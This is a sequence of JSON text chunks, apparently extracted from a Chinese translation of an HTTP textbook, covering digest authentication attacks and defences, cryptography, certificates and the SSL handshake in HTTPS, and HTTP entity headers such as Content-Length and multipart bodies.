    {"text": "一种可以完全避免重放攻击的方法就是为每个事务都使用一个唯一的随机数。 在这 种实现方式中，服务器会为每个事务发布唯一的随机数和一个超时值。 发布的随机 数只对指定的事务有效，而且只在超时值的持续区间内有效。"},
    {"text": "这种方式被称为选择明文攻击（chosen plaintext attack）。 选择明文攻击有以 下几种变体形式。 摘要认证 ｜ 321 • 预先计算的词典攻击 这是词典攻击和选择明文攻击的组合。"},
    {"text": "首先，发起攻击的服务器会用预先确定的 随机数和常见密码的变化形式产生一组响应，创建一个词典。 一旦有了规模可观 的词典，攻击服务器或代理就可以完成对流量的封锁，向客户端发送预先确定的 随机数。 攻击者从客户端得到一个响应时，会搜索生成的词典，寻找匹配项。 如 果有匹配项，攻击者就捕获了这个用户的密码。"},
    {"text": "防止这些攻击的一种方法就是配置 客户端使用可选的 cnonce 指令，这样响应就是基于客户端的判断产生的，而不是 用服务器提供的随机数（这个随机数可能会被攻击者入侵）产生的。"},
    {"text": "13.5.7 存储密码 摘要认证机制将对比用户的响应与服务器内部存储的内容——通常就是用户名和 H(A1) 元组对，其中 H(A1) 是从用户名、域和密码的摘要中导出的。"},
    {"text": "尽管摘要认证提供的解决方案比基本认证要强壮且安全得多，但它并没有为内容的安 全提供任何保证——真正安全的事务只有通过 SSL 才能实现，我们将在下一章介绍。"},
    {"text": "• http://www.ietf.org/rfc/rfc2617.txt RFC 2617，“HTTP Authentication：Basic and Digest Access Authentication.” 306 （ “HTTP 认证：基本和摘要访问认证”）。"},
    {"text": "• 服务器认证（客户端知道它们是在与真正的而不是伪造的服务器通话）。 • 客户端认证（服务器知道它们是在与真正的而不是伪造的客户端通话）。"},
    {"text": "HTTPS 方案的 URL 以 https://，而不是 http:// 开头，据此就可以分辨某个 Web 页面 是通过 HTTPS 而不是 HTTP 访问的（有些浏览器还会显示一些标志性的安全提示， 如图 14-1 所示）。 324 ｜ 第 14 章 https方案 e 安全图标 图 14-1 浏览安全 Web 站点 使用 HTTPS 时，所有的 HTTP 请求和响应数据在发送到网络之前，都要进行加密。 HTTPS 在 HTTP 下面提供了一个传输级的密码安全层（参见图 14-2）——可以使用 SSL，也可以使用其后继者——传输层安全（Transport Layer Security，TLS）。"},
    {"text": "HTTP 应用层 HTTP 应用层 SSL or TLS 安全层 TCP 传输层 TCP 传输层 IP 网络层 IP 网络层 网络接口 数据链路层 网络接口 数据链路层 (a) HTTP ( b ) HTTPS 图 14-2 HTTPS 是位于安全层之上的 HTTP，这个安全层位于 TCP 之上 大部分困难的编码及解码工作都是在 SSL 库中完成的，所以 Web 客户端和服务器 在使用安全 HTTP 时无需过多地修改其协议处理逻辑。 在大多数情况下，只需要用 308 安全HTTP ｜ 325 SSL 的输入 / 输出调用取代 TCP 的调用，再增加其他几个调用来配置和管理安全信 息就行了。"},
    {"text": "但密码学所能做的还不仅仅是加密报文以防止好事者的读取，我们 还可以用它来防止对报文的篡改，甚至还可以用密码学来证明某条报文或某个事务 确实出自你手，就像支票上的手写签名或信封上的压纹封蜡一样。"},
    {"text": "明文 密文 明文 Meet me at the Phhw ph dw wkh Meet me at the pier at midnight slhu dw plgqljkw pier at midnight 编码器 解码器 图 14-3 明文和密文 用密码来生成保密信息已经有数千年了。"},
    {"text": "比如，在图 14-4 中，用 rot3（循环移位 3 字符）密码就可以将报文“meet me at the pier at midnight”编码为密文“phhw ph dw wkh slhu dw plgqljkw”。 1 通过解码，在 字母表中循环移位 3 个字符，就可以将密文解密回原来的明文报文。 密码 A B C D E F G H I J K L M N O P Q R S T U V W X Y Z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z A B C 明文 MEET ME AT THE AT PIER AT MIDNIGHT 密文 PHHW PH DW WKH DW SLHU DW PLGQLJKW 图 14-4 循环移位 3 字符密码实例 310 注 1：为了简化这个例子，我们没有对标点和空格进行循环移位，但你可以自己试一试。"},
    {"text": "随着技术的进步，人们开始制造一些机器，这些机器可以用复杂得多的密码来快速、 精确地对报文进行编解码。 这些密码机不仅能做一些简单的旋转，它们还可以替换 字符、改变字符顺序，将报文切片切块，使代码的破解更加困难。"},
    {"text": "2 14.2.4 使用了密钥的密码 编码算法和编码机都可能会落入敌人的手中，所以大部分机器上都有一些号盘，可 以将其设置为大量不同的值以改变密码的工作方式。"},
    {"text": "328 ｜ 第 14 章 (a) 明文 Meet me at the pier at midnight 密文 nffu nf bu uif 密钥=1 qjfs bu njeojhiu 循环移位( n )编码器 (b) 明文 Meet me at the pier at midnight 密文 密钥=2 oggv og cv vjg rkgt cv okfpkijv 循环移位( n )编码器 (c) 明文 Meet me at the pier at midnight 密文 密钥=3 phhw ph dw wkh slhu dw plgqlijkw 循环移位( n )编码器 图 14-5 使用不同密钥的旋转 N 字符密码 与金属钥匙或机械设备中的号盘设置相比，数字密钥只是一些数字。"},
    {"text": "312 明文P C = E(P,e) 密钥=e 密文C 编码器E 图 14-6 用编码密钥 e 对明文进行编码，用解码密钥 d 进行解码 安全HTTP ｜ 329 14.3 对称密钥加密技术 我们来更详细地看看密钥和密码是怎样配合工作的。 很多数字加密算法都被称为对 称密钥（symmetric-key）加密技术，这是因为它们在编码时使用的密钥值和解码时 一样（e=d）。"},
    {"text": "明文P P = D(C,d) 密钥=d 密文C 解码器D 图 14-7 对称密钥加密算法为编 / 解码使用相同的密钥 流行的对称密钥加密算法包括：DES、Triple-DES、RC2 和 RC4。"},
    {"text": "4 8 位的密钥只有 256 个可能 的密钥值， 40 位的密钥可以有 240 个可能的密钥值（大约是一万亿个密钥），128 位 的密钥可以产生大约 340 000 000 000 000 000 000 000 000 000 000 000 000 个可能 的密钥值。"},
    {"text": "实际上， 长密钥对密码安全有着非常重要的影响，美国政府甚至对使用长密钥的加密软件实 施了出口控制，以防止潜在的敌对组织创建出美国国家安全局（National Security Agency，NSA）自己都无法破解的秘密代码。"},
    {"text": "Bruce Schneier 编写的 Applied Cryptography （John Wiley & Sons 出版社）是一本很 棒的书，书中有一张表，表中对使用 1995 年的技术和耗费，通过猜测所有的密钥来 破解一个 DES 密码所需的时间进行了描述。"},
    {"text": "表14-1 较长的密钥要花费更多的精力去破解（来自 Applied Cryptography 一书，1995年 的数据） 攻击耗费 40位密钥 56位密钥 64位密钥 80位密钥 128位密钥 100 000 美元 2 秒 35 小时 1 年 70 000 年 1019 年 1 000 000 美元 200 毫秒 3.5 小时 37 天 7 000 年 1018 年 10 000 000 美元 20 毫秒 21 分钟 4 天 700 年 1017 年 100 000 000 美元 2 毫秒 2 分钟 9 小时 70 年 1016 年 1 000 000 000 美元 200 微秒 13 秒 1 小时 7 年 1015 年 根据 1995 年微处理器的速度，愿意花费 100 000 美元的攻击者可以在大约 2 秒内破 解一个 40 位的 DES 代码。"},
    {"text": "如果想要与 Joe 的五金商店进行保密的对话，可能是在看了公共电视台的家装节 目之后，想要订购一些木工工具，那么在安全地订购任何东西之前，要先在你和 www.joes-hardware.com 之间建立一个私有的保密密钥。"},
    {"text": "14.4 公开密钥加密技术 公开密钥加密技术没有为每对主机使用单独的加密 / 解密密钥，而是使用了两个非 对称密钥：一个用来对主机报文编码，另一个用来对主机报文解码。 编码密钥是众 所周知的（这也是公开密钥加密这个名字的由来），但只有主机才知道私有的解密密 钥（参见图 14-8）。"},
    {"text": "客户端 明文 公开密 私有密 经过加密的密文 钥=es 钥=ds 因特网 明文 服务器 图 14-8 公开密钥加密技术是非对称的，为编码和解码使用了不同的密钥 332 ｜ 第 14 章 节点 X 可以将其加密密钥 ex 公之于众。"},
    {"text": "因为每台主机都分配了一个所有人均可使用的编码密钥， 所以公开密钥加密技术避免了对称密钥加密技术中成对密钥数目的 N 2 扩展问题（参 见图 14-9）。 315 kAJ A kAJ A kAX ex kBX kDX ex ex B D B D X X kCX ex C C （a）对称密钥加密技术 （b）公开密钥加密技术 图 14-9 公开密钥加密技术为每台主机分配了一个公开编码密钥 尽管每个人都可以用同一个密钥对发给 X 的报文进行编码，但除了 X，其他人都无 法对报文进行解码，因为只有 X 才有解码的私有密钥 dx。"},
    {"text": "14.4.1 RSA 所有公开密钥非对称加密系统所面临的共同挑战是，要确保即便有人拥有了下面所 有的线索，也无法计算出保密的私有密钥： 注 7： 我们稍后会看到，大部分公开密钥查找工作实际上都是通过数字证书来实现的，但如何找到公开密钥 现在并不重要——只要知道可以在某个地方公开获取就行了。"},
    {"text": "即使有了公共密钥、任意一段明 文、用公共密钥对明文编码之后得到的相关密文、RSA 算法自身，甚至 RSA 实现 的源代码，破解代码找到相应的私有密钥的难度仍相当于对一个极大的数进行质因 数分解的困难程度，这种计算被认为是所有计算机科学中最难的问题之一。"},
    {"text": "14.4.2 混合加密系统和会话密钥 任何人只要知道了其公开密钥，就可以向一台公共服务器发送安全报文，所以非对 称的公开密钥加密系统是很好用的。"},
    {"text": "比如，比较常见的做法是在两节点间通过便捷的公开密钥加密技术建立起安全通信， 然后再用那条安全的通道产生并发送临时的随机对称密钥，通过更快的对称加密技 术对其余的数据进行加密。"},
    {"text": "• 节点 A 对摘要应用了一个“签名”函数，这个函数会将用户的私有密钥作为参数。 因为只有用户才知道私有密钥，所以正确的签名函数会说明签名者就是其所有者。 在图 14-10 中，由于解码函数 D 中包含了用户的私有密钥，所以我们将其作为签 名函数使用。"},
    {"text": "如果拆包后的摘要与节点 B 自己的摘要版本不匹配，要 么就是报文在传输过程中被篡改了，要么就是发送端没有节点 A 的私有密钥（也 318 就是说它不是节点 A）。"},
    {"text": "336 ｜ 第 14 章 证书格式版本号 证书序列号 证书签名算法 证书颁发者 数字签 有效期 名函数 对象名称 对象的公开密钥 其他扩展信息 数字签名 图 14-11 典型的数字签名格式 14.6.2 X.509 v3证书 不幸的是，数字证书没有单一的全球标准。"},
    {"text": "不过好消息就是现 在使用的大多数证书都以一种标准格式——X.509 v3，来存储它们的信息。 X.509 v3 证书提供了一种标准的方式，将证书信息规范至一些可解析字段中。 不同类型的证 书有不同的字段值，但大部分都遵循 X.509 v3 结构。 表 14-2 介绍了 X.509 证书中 的字段信息。 表14-2 X.509证书字段 字 段 描 述 版本 这个证书的 X.509 证书版本号。"},
    {"text": "例如，“用 RSA 加密的 MD2 摘要” 证书颁发者 发布并签署这个证书的组织名称，以 X.500 格式表示 有效期 此证书何时有效，由一个起始日期和一个结束日期来表示 320 对象名称 证书中描述的实体，比如一个人或一个组织。"},
    {"text": "对象名称是以 X.500 格式 表示的 对象的公开密钥信息 证书对象的公开密钥，公开密钥使用的算法，以及所有附加参数 发布者唯一的 ID（可选） 可选的证书发布者唯一标识符，这样就可以重用相同的发布者名称 对象唯一的 ID（可选） 可选的证书对象唯一标识符，这样就可以重用相同的对象名称了 安全HTTP ｜ 337 （续） 字 段 描 述 扩展 可选的扩展字段集（在版本 3 及更高的版本中使用）。"},
    {"text": "目前在使用的常用扩展字段包括： 基本约束 对象与证书颁发机构的关系 证书策略 授予证书的策略 密钥的使用 对公开密钥使用的限制 证书的颁发机构签名 证书颁发机构用指定的签名算法对上述所有字段进行的数字签名 基于 X.509 证书的签名有好几种，（其中）包括 Web 服务器证书、客户端电子邮件 证书、软件代码签名证书和证书颁发机构证书。"},
    {"text": "如果对签名颁发机构一无所知，浏览器就无法确定是否应该信任这个签名颁发机构， 它通常会向用户显示一个对话框，看看他是否相信这个签名发布者。"},
    {"text": "338 ｜ 第 14 章 证书格式版本号 证书序列号 证书签名算法 证书颁发者（签名颁发机构） 有效期 对象名称 B 对象的公开密钥 其他扩展信息 报文摘要 报文摘要 数字签名 E 相同吗？"},
    {"text": "HTTPS 将 HTTP 协议与一组强大的对称、非对称和 基于证书的加密技术结合在一起，使得 HTTPS 不仅很安全，而且很灵活，很容易 在处于无序状态的、分散的全球互联网上进行管理。"},
    {"text": "HTTPS 加速了因特网应用程序的成长，已经成为基于 Web 的电子商务快速成长的 主要推动力。 在广域网中对分布式 Web 应用程序的安全管理方面，HTTPS 也是非 常重要的。"},
    {"text": "14.7.1 HTTPS概述 HTTPS 就 是 在 安 全 的 传 输 层 上 发 送 的 HTTP。 HTTPS 没 有 将 未 加 密 的 HTTP 报 文发送给 TCP，并通过世界范围内的因特网进行传输（参见图 14-13a），它在将 HTTP 报文发送给 TCP 之前，先将其发送给了一个安全层，对其进行加密（参见 图 14-13b）。 322 现在，HTTP 安全层是通过 SSL 及其现代替代协议 TLS 来实现的。 我们遵循常见的 用法，用术语 SSL 来表示 SSL 或者 TLS。 安全HTTP ｜ 339 HTTP 应用层 HTTP 应用层 SSL or TLS 安全层 TCP 传输层 TCP 传输层 IP 网络层 IP 网络层 网络接口 数据链路层 网络接口 数据链路层 (a)HTTP (b)HTTPS 图 14-13 HTTP 传输层安全 14.7.2 HTTPS方案 现在，安全 HTTP 是可选的。"},
    {"text": "通常情况下，非安全 HTTP 的 URL 方案前缀为 http，如下所示： http://www.joes-hardware.com/index.html 在安全 HTTPS 协议中，URL 的方案前缀为 https，如下所示： https://cajun-shop.securesites.com/Merchant2/merchant.mv?Store_Code=AGCGS 请求一个客户端（比如 Web 浏览器）对某 Web 资源执行某事务时，它会去检查 URL 的方案。"},
    {"text": "• 如果 URL 的方案为 http，客户端就会打开一条到服务器端口 80（默认情况下） 的连接，并向其发送老的 HTTP 命令（参见图 14-14a）。 • 如果 URL 的方案为 https，客户端就会打开一条到服务器端口 443（默认情况下） 的连接，然后与服务器“握手”，以二进制格式与服务器交换一些 SSL 安全参数， 附上加密的 HTTP 命令（参见图 14-14b）。"},
    {"text": "340 ｜ 第 14 章 （a）HTTP请求 80 HTTP 客户端 服务器 (b)HTTPS请求 443 HTTPS 客户端 安全服务器 (c)HTTP隧道上的HTTPS 8080 443 HTTPS HTTPS隧道 代理 客户端 安全服务器 图 14-14 HTTP 和 HTTPS 端口号 14.7.3 建立安全传输 在未加密 HTTP 中，客户端会打开一条到 Web 服务器端口 80 的 TCP 连接，发送一 条请求报文，接收一条响应报文，关闭连接。"},
    {"text": "一旦建 立了 TCP 连接，客户端和服务器就会初始化 SSL 层，对加密参数进行沟通，并交 换密钥。 握手完成之后，SSL 初始化就完成了，客户端就可以将请求报文发送给安 全层了。"},
    {"text": "14.7.4 SSL握手 在发送已加密的 HTTP 报文之前，客户端和服务器要进行一次 SSL 握手，在这个握 手过程中，它们要完成以下工作： • 交换协议版本号；"},
    {"text": "324 安全HTTP ｜ 341 （a）未加密的HTTP事务 （b）加密的HTTPS事务 因特网 因特网 80 443 1 客户端 服务器 客户端 服务器 建立到服务器端口80的TCP连接 建立到服务器端口443的TCP连接 因特网 2 客户端 服务器 SSL安全参数握手 因特网 因特网 3 E D 客户端 服务器 客户端 服务器 在TCP上发送HTTP请求 在SSL上发送HTTP请求/在TCP上发送已加密的请求 因特网 因特网 4 D E 客户端 服务器 客户端 服务器 在TCP上发送HTTP响应 在SSL上发送HTTP响应/在TCP上发送已加密的响应 因特网 5 客户端 服务器 SSL关闭通知 因特网 因特网 6 客户端 服务器 客户端 服务器 TCP连接关闭 TCP连接关闭 图 14-15 HTTP 和 HTTPS 事务 在通过网络传输任何已加密的 HTTP 数据之前，SSL 已经发送了一组握手数据来建 立通信连接了。"},
    {"text": "342 ｜ 第 14 章 客户端 因特网 服务器 （1）客户端发送可供选择的密码并请求证书 服务 器证书 客户端 因特网 服务器 （2）服务器发送选中的密码和证书 服务器 客户端 因特网 服务器 SSL安全参数的握手 客户端 因特网 服务器 （3）客户端发送保密信息； 客户端和服 务器生成密钥 客户端 因特网 服务器 （4）客户端和服务器互相告知，开始加密过程 图 14-16 （简化版）SSL 握手 这是 SSL 握手的简化版本。"},
    {"text": "而现在，浏览时并不经常使用客户端证书。 大部分用户甚至都没有自己的客户端证 书。 11 服务器可以要求使用客户端证书，但实际中很少出现这种情况。"},
    {"text": "服务 器证书 客户端 因特网 服务器 证书序列号 35:DE:F4:CF 证书过期时间 Wed,Sep 17,2003 站点的组织名 Joe’s Hardware Online 站点的DNS主机名 www.joes-hardware.com 站点的公开密钥 证书颁发者的名称 RSA Data Security 证书颁发者的签名 图 14-17 HTTPS 证书是带有站点信息的 X.509 证书 14.7.6 站点证书的有效性 SSL 自身不要求用户检查 Web 服务器证书，但大部分现代浏览器都会对证书进行简 单的完整性检查，并为用户提供进行进一步彻查的手段。"},
    {"text": "有些证书会携带到受信 CA 的有效 签名路径，浏览器可能会选择接受所有此类证书。 换句话说，如果某受信 CA 为 “Sam 的签名商店”签发了一个证书，而 Sam 的签名商店也签发了一个站点证 书，浏览器可能会将其作为从有效 CA 路径导出的证书接受。"},
    {"text": "• 站点身份检测 为防止服务器复制其他人的证书，或拦截其他人的流量，大部分浏览器都会试着 去验证证书中的域名与它们所对话的服务器的域名是否匹配。"},
    {"text": "用户进入 http://www. cajun-shop.com 时，服务器证书中列出的官方主机名（*.securesites.com）与用户浏 览的虚拟主机名（www.cajun-shop.com）不匹配，以致出现图 14-18 中的警告。 为防止出现这个问题，Cajun-Shop.com 的所有者会在开始处理安全事务时，将所有 用户都重定向到 cajun-shop.securesites.com。"},
    {"text": "安全HTTP ｜ 345 （a）由于站点是虚拟主 机站点，而证书的主机名 为*.securesites.com，所以 这个URL（www.cajun-shop.com） 中的主机名与证书中的名称不匹配。"},
    {"text": "OpenSSL 项目由一些志愿者合作开发， 目标是开发一个强壮的、具有完备功能的商业级工具集，以实现 SSL 和 TLS 协议以 及一个全功能的通用加密库。"},
    {"text": "% https_client clients1.online.msdw.com (1) SSL context initialized (2) 'clients1.online.msdw.com' has IP address'63.151.15.11' (3) TCP connection open to host 'clients1.online.msdw.com', port 443 (4) SSL endpoint created & handshake completed (5) SSL connected with cipher: DES-CBC3-MD5 (6) server's certificate was received: subject: /C=US/ST=Utah/L=Salt Lake City/O=Morgan Stanley/OU=Online/CN= clients1.online.msdw.com issuer: /C=US/O=RSA Data Security, Inc./OU=Secure Server Certification Authority (7) sent HTTP request over encrypted channel: 350 ｜ 第 14 章 GET / HTTP/1.0 Host: clients1.online.msdw.com:443 Connection: close (8) got back 615 bytes of HTTP response: HTTP/1.1 302 Found Date: Sat, 09 Mar 2002 09:43:42 GMT Server: Stronghold/3.0 Apache/1.3.14 RedHat/3013c (Unix) mod_ssl/2.7.1 OpenSSL/0.9.6 Location: https://clients.online.msdw.com/cgi-bin/ICenter/home Connection: close Content-Type: text/html; charset=iso-8859-1 <!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\"> <HTML><HEAD> <TITLE>302 Found</TITLE> </HEAD><BODY> <H1>Found</H1> The document has moved <A HREF=\"https://clients.online.msdw.com/cgi-bin/ICenter/ home\">here</A>.<P> <HR> <ADDRESS>Stronghold/3.0Apache/1.3.14 RedHat/3013c Server at clients1.online.msdw.com Port 443</ADDRESS> </BODY></HTML> (9) all done, cleaned up and closed connection 只要完成了前面 4 个部分，客户端就有了一条打开的 SSL 连接。"},
    {"text": "安全HTTP ｜ 351 客户端 公共因特网 客户端 防火墙 代理 安全边界 图 14-19 公司防火墙代理 client17.mycompany.com proxy.mycompany.com www.cajun-gifts.com bdfwr73ytr6ouydoiw687eqidfjwvd76weti76fig287hdi9 8r82yr87pfdy72y87193836PDUyqe719eyty3gee98y8787 图 14-20 代理无法转发加密请求 为了使 HTTPS 与代理配合工作，要进行几处修改以告知代理连接到何处。"},
    {"text": "下面是一个例子： CONNECT home.netscape.com:443 HTTP/1.0 User-agent: Mozilla/1.1N <raw SSL-encrypted data would follow here...> 在请求中的空行之后，客户端会等待来自代理的响应。"},
    {"text": "• http://www.ietf.org/rfc/rfc2818.txt RFC 2818，“HTTP Over TLS”（“TLS 上的 HTTP”），说明了如何在 SSL 的后继 协议——TLS 协议之上实现安全 HTTP。 336 • http://www.ietf.org/rfc/rfc2817.txt RFC 2817，“Upgrading to TLS Within HTTP/1.1”（“在 HTTP/1.1 中升级到 TLS”）， 说明了如何使用 HTTP/1.1 中的升级机制在现存的 TCP 连接上启动 TLS。"},
    {"text": "14.10.2 SSL与TLS • http://www.ietf.org/rfc/rfc2246.txt RFC 2246，“The TLS Protocol Version 1.0”（“TLS 协议版本 1.0”），对（SSL 的 后继协议）TLS 协议的版本 1.0 进行了规范。"},
    {"text": "• http://www.openssl.org OpenSSL 项目是一个合作开发项目，目的是开发一个强壮的、全功能的、商业 级开源工具集，以实现安全套接字层（SSL v2/v3）和传输层安全（TLS v1）协 议以及强大的通用密码库。"},
    {"text": "14.10.3 公开密钥基础设施 • http://www.ietf.org/html.charters/pkix-charter.html IETF PKIX 工 作 组 组 建 于 1995 年， 目 的 是 开 发 一 些 因 特 网 标 准， 支 持 基 于 337 X.509 的公开密钥基础设施。"},
    {"text": "• http://www.ietf.org/rfc/rfc2459.txt RFC 2459，“Internet X.509 Public Key Infrastructure Certificate and CRL Profile” （ “因特网 X.509 公开密钥基础设施证书及 CRL 概述”），详细介绍了 X.509 v3 数字 证书。"},
    {"text": "• The Code Book: The Science of Secrecy from Ancient Egypt to Quantum Cryptography 15 （《密码故事——人类智力的另类较量》） Simon Singh 著，Anchor Books 公司出版。"},
    {"text": "• 是最新的（通过实体验证码和缓存过期控制） • 符合用户的需要（基于 Accept 系列的内容协商首部） • 在网络上可以快速有效地传输（通过范围请求、差异编码以及其他数据压缩方法） • 完整到达、未被篡改（通过传输编码首部和 Content-MD5 校验和首部） 为了实现这些目标，HTTP 使用了完善的标签来描述承载内容的实体。"},
    {"text": "HTTP/1.0 200 OK Server: Netscape-Enterprise/3.6 Date: Sun, 17 Sep 2000 00:01:05 GMT Content-type: text/plain 实体首部 Content-length: 18 实体 Hi! I'm a message! 实体主体 图 15-1 报文实体由实体首部和实体主体组成 实体首部指出这是一个纯文本文档（Content-Type:text/plain），它只有 18 个 字节长（Content-Length:18）。"},
    {"text": "注 1： 如果有 Content-Encoding 首部的话，实体主体的内容就已经被指定的内容编码算法进行过编码了， 第一个字节就是编码（比如，压缩）后的货物的第一个字节。"},
    {"text": "360 ｜ 第 15 章 (a)HTTP响应报文中的text/plain类型的实体 HTTP/1.0 200 OK Content-type: text/plain Content-length: 18 Hi! I'm a message! 首部末尾的LF (0x0A= <LF>) 主体内容的开始 (0x48= \"H\") (b)HTTP响应报文中的image/gif类型的实体 HTTP/1.0 200 OK Content-Type: image/gif Content-Length: 34867 首部末 主体内 图像宽度 图像高度 尾的LF 容的开始 (0x0A= <LF>) (\"GIF87a\")(0x0227= 551) (0x0206= 518) 图 15-2 实际报文内容（紧随空白的 CRLF 之后的原始报文内容）的十六进制转储显示 15.2 Content-Length: 实体的大小 Content-Length 首部指示出报文中实体主体的字节大小。"},
    {"text": "除非使用了分块编码，否则 Content-Length 首部就是带有实体主体的报文必须使 用的。 使用 Content-Length 首部是为了能够检测出服务器崩溃而导致的报文截 尾，并对共享持久连接的多个报文进行正确分段。"},
    {"text": "但是，没有 Content- Length 的话，客户端无法区分到底是报文结束时正常的连接关闭，还是报文传输 344 中由于服务器崩溃而导致的连接关闭。 客户端需要通过 Content-Length 来检测 报文截尾。"},
    {"text": "如果缓存服务器收到被截尾的报 文却没有识别出截尾的话，它可能会存储不完整的内容并多次使用它来提供服务。 缓存代理服务器通常不会为没有显式 Content-Length 首部的 HTTP 主体做缓存， 以此来减小缓存已截尾报文的风险。"},
    {"text": "因为某些早期的客 户端和服务器在 Content-Length 计算上存在一些众所周知的错误，有些客户端、 服务器以及代理中就包含了特别的算法，用来检测和纠正与有缺陷服务器的交互过 程。"},
    {"text": "HEAD 方 法 请 求 服 务 器 发 送 等 价 的 GET 请 求中会出现的首部，但不要包括主体。 因为对 GET 的响应会带有 Content- Length 首 部， 所 以 HEAD 响 应 里 面 也 有； 但 和 GET 响 应 不 同 的 是，HEAD 响 应 中 不 会 有 主 体。 1XX、204 以 及 304 响 应 也 可 以 有 提 示 性 的 Content- Length 首部，但是也都没有实体主体。"},
    {"text": "（2） 如果报文中含有描述传输编码的 Transfer-Encoding 首部（不采用默认的 HTTP“恒等”编码），那实体就应由一个称为“零字节块”（zero-byte chunk） 的特殊模式结束，除非报文已经因连接关闭而结束。"},
    {"text": "（3） 如果报文中含有 Content-Length 首部（并且报文类型允许有实体主体），而 且没有非恒等的 Transfer-Encoding 首部字段，那么 Content-Length 的值 就是主体的长度。 如果收到的报文中既有 Content-Length 首部字段又有非恒 等的 Transfer-Encoding 首部字段，那就必须忽略 Content-Length，因为 传输编码会改变实体主体的表示和传输方式（因此可能就会改变传输的字节数）。 （4） 如果报文使用了 multipart/byteranges（多部分 / 字节范围）媒体类型，并且没 有用 Content-Length 首部指出实体主体的长度，那么多部分报文中的每个部 分都要说明它自己的大小。"},
    {"text": "实际上，只有服务 器可以使用连接关闭来指示报文的结束。 客户端不能用关闭连接来指示客户端 报文的结束，因为这样会使服务器无法发回响应。"},
    {"text": "4 为了和使用 HTTP/1.0 的应用程序兼容，任何带有实体主体的 HTTP/1.1 请求都必 须带有正确的 Content-Length 首部字段（除非已经知道服务器兼容 HTTP/1.1）。"},
    {"text": "注 3： 因为 Range 首部可能会被不理解多部分 / 字节范围的更原始的代理所转发，所以如果发送方不能确 定接收方是否理解这种自定界的格式的话，就必须用本节的方法（1）、（3）或（5）来对报文定界。"},
    {"text": "注 4： 客户端可以使用半关闭，也就是只把连接的输出端关闭，但很多服务器应用程序设计的时候没有考虑 到处理这种情况，会把半关闭当作客户端要从服务器断开连接来处理。"},
    {"text": "实体和编码 ｜ 363 HTTP/1.1 规范中建议对于带有主体但没有 Content-Length 首部的请求，服务器 如果无法确定报文的长度，就应当发送 400 Bad Request 响应或 411 Length Required 响应，后一种情况表明服务器要求收到正确的 Content-Length 首部。"},
    {"text": "15.3 实体摘要 尽管 HTTP 通常都是在像 TCP/IP 这样的可靠传输协议之上实现的，但仍有很多因 素会导致报文的一部分在传输过程中被修改，比如有不兼容的转码代理，或者中间 代理有误，等等。"},
    {"text": "为检测实体主体的数据是否被不经意（或不希望有）地修改，发 送方可以在生成初始的主体时，生成一个数据的校验和，这样接收方就可以通过检 查这个校验和来捕获所有意外的实体修改了。"},
    {"text": "表15-1 常用媒体类型 媒体类型 描 述 text/html 实体主体是 HTML 文档 text/plain 实体主体是纯文本文档 image/gif 实体主体是 GIF 格式的图像 image/jpeg 实体主体是 JPEG 格式的图像 audio/x-wav 实体主体包含 WAV 格式声音数据 model/vrml 实体主体是三维的 VRML 模型 application/vnd.ms-powerpoint 实体主体是 Microsoft PowerPoint 演示文档 multipart/byteranges 实体主体有若干部分，每个部分都包含了完整文档中不同的字节范围 message/http 实体主体包含完整的 HTTP 报文（参见 TRACE） 要着重注意的是，Content-Type 首部说明的是原始实体主体的媒体类型。"},
    {"text": "charset（字符 集）参数就是个例子，它说明把实体中的比特转换为文本文件中的字符的方法： Content-Type: text/html; charset=iso-8859-4 我们将在第 16 章详细讨论字符集。"},
    {"text": "实体和编码 ｜ 365 15.4.3 多部分表格提交 当提交填写的 HTTP 表格时，变长的文本字段和上传的对象都作为多部分主体里面 独立的部分发送，这样表格中就可以填写各种不同类型和长度的值。"},
    {"text": "比如，你可能 选择用昵称和小照片来填写询问你的名字和介绍信息的表格，而你的朋友可能填了 她的全名并在介绍信息表内抱怨了一堆大众汽车的修理问题。"},
    {"text": "HTTP 使用 Content-Type:multipart/form-data 或 Content-Type:multipart/ mixed 这样的首部以及多部分主体来发送这种请求，举例如下： Content-Type: multipart/form-data; boundary=[abcdefghijklmnopqrstuvwxyz] 其中的 boundary 参数说明了分割主体中不同部分所用的字符串。"},
    {"text": "假设我们有这样的表格： <FORM action=”http://server.com/cgi/handle” enctype=\"multipart/form-data\" method=\"post\"> <P> What is your name? <INPUT type=\"text\" name=\"submit-name\"><BR> What files are you sending? <INPUT type=\"file\" name=\"files\"><BR> <INPUT type=\"submit\" value=\"Send\"> <INPUT type=\"reset\"> </FORM> 如果用户在文本输入字段中键入 Sally，并选择了文本文件 essayfile.txt，用户 Agent 代理可能会发回下面这样的数据： Content-Type: multipart/form-data; boundary=AaB03x --AaB03x Content-Disposition: form-data; name=\"submit-name\" Sally --AaB03x Content-Disposition: form-data; name=\"files\"; filename=\"essayfile.txt\" Content-Type: text/plain ...contents of essayfile.txt... --AaB03x-- 如果用户还选了另一个（图像）文件 imagefile.gif，用户 Agent 代理可能像下面这样 构造这个部分： Content-Type: multipart/form-data; boundary=AaB03x --AaB03x Content-Disposition: form-data; name=\"submit-name\" Sally --AaB03x Content-Disposition: form-data; name=\"files\" Content-Type: multipart/mixed; boundary=BbC04y 366 ｜ 第 15 章 --BbC04y Content-Disposition: file; filename=\"essayfile.txt\" Content-Type: text/plain ...contents of essayfile.txt... --BbC04y Content-Disposition: file; filename=\"imagefile.gif\" Content-Type: image/gif Content-Transfer-Encoding: binary ...contents of imagefile.gif... --BbC04y-- --AaB03x-- 15.4.4 多部分范围响应 HTTP 对 范 围 请 求 的 响 应 也 可 以 是 多 部 分 的。"},
    {"text": "下面是一个例子，展 示了对文档不同范围的请求产生的响应： HTTP/1.0 206 Partial content Server: Microsoft-IIS/5.0 Date: Sun, 10 Dec 2000 19:11:20 GMT Content-Location: http://www.joes-hardware.com/gettysburg.txt Content-Type: multipart/x-byteranges; boundary=--[abcdefghijklmnopqrstu vwxyz]-- Last-Modified: Sat, 09 Dec 2000 00:38:47 GMT --[abcdefghijklmnopqrstuvwxyz]-- Content-Type: text/plain Content-Range: bytes 0-174/1441 Fourscore and seven years ago our fathers brought forth on this continent a new nation, conceived in liberty and dedicated to the proposition that all men are created equal. --[abcdefghijklmnopqrstuvwxyz]-- Content-Type: text/plain Content-Range: bytes 552-761/1441 350 But in a larger sense, we can not dedicate, we can not consecrate, we can not hallow this ground. The brave men, living and dead who struggled here have consecrated it far above our poor power to add or detract. --[abcdefghijklmnopqrstuvwxyz]-- Content-Type: text/plain Content-Range: bytes 1344-1441/1441 and that government of the people, by the people, for the people shall not perish from the 